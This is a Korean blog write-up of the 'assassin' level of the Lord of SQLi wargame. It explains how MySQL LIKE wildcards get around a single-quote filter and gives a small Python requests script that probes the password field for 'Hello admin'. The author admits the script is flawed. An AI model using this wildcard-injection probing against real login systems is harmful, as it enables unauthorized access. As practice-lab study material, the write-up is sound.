cgy12306

[LOS] assassin 본문

Wargame/LOS

[LOS] assassin

cgy12306 2019. 8. 23. 12:59

코드를 보면 GET으로 받아온 pw는 '(작은따옴표)가 필터링 되어 있다. 

mysql에서 like를 사용할 때 %를 사용할 수 있다.

%는 문자열의 길이와 상관없이 모든 글자를 의미한다.

예를 들어 %A로 입력을 하면 맨 끝의 글자가 A가 있어야하는 조건이 되는것이다.
%A%로 입력하게 되면, 해당 문자열에 A가 포함만 되어 있으면 된다는 조건이다.


https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=%


pw에 %를 집어넣었더니 Hello guest가 뜬다.

만약 guest와 admin의 비밀번호가 한 글자만이라도 겹치지 않는다면 %와 % 사이에 임의의 글자를 넣어주는 코드를 돌리면 Hello admin이 뜨지 않을까하고 코드를 작성해봤다.

import requests

arry=[]

cookies = {'__cfduid': '', 'PHPSESSID' : ''}
    
for k in range(1,9):
    for j in range(32,127):
        res = requests.get(url='https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=%'+str(j)+'%' ,cookies=cookies)
        
        if 'Hello admin' in res.text:
            print(k,' : ', j, "O")
            
            arry.append(chr(int(str(j),16)))


            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)

사실 이 코드는 ASCII 코드를 비교하는 코드여서 잘못 작성한건데 결과물이 출력이 되었다.



이게 될리가 없는데 0라고 떠서 파싱을 해봤다.




ASSASSIN Clear가 떴다. 일단 클리어는 하긴했는데 찝찝해서 다른 사람들의 라이트업을 봤다.

사용자 테이블에 맨 위에 guest가 들어가 있고, 그 다음줄에 admin이 들어가있는 형태라고 한다. 그래서 비밀번호가 첫째 글자부터 겹치기 때문에 Hello guest가 뜬다고 한다.




또 궁금한점은 위에 코드를 보면 pw=%32%로 들어가게되면 %32를 url 디코딩하게 되어 pw=2%로 바뀌어야 하는데 바뀌지 않고 들어간다는 점이다.
    ==> python에서 url로 값을 넘겨줄때 %를 %25로 인코딩해서 넘겨준다고 한다.







'Wargame > LOS' 카테고리의 다른 글

[LOS] succubus  (0) 2019.08.30
[LOS] zombie_assassin  (0) 2019.08.30
[LOS] giant  (0) 2019.08.23
[LOS] bugbear  (0) 2019.08.23
[LOS] darkknight  (0) 2019.08.23
Comments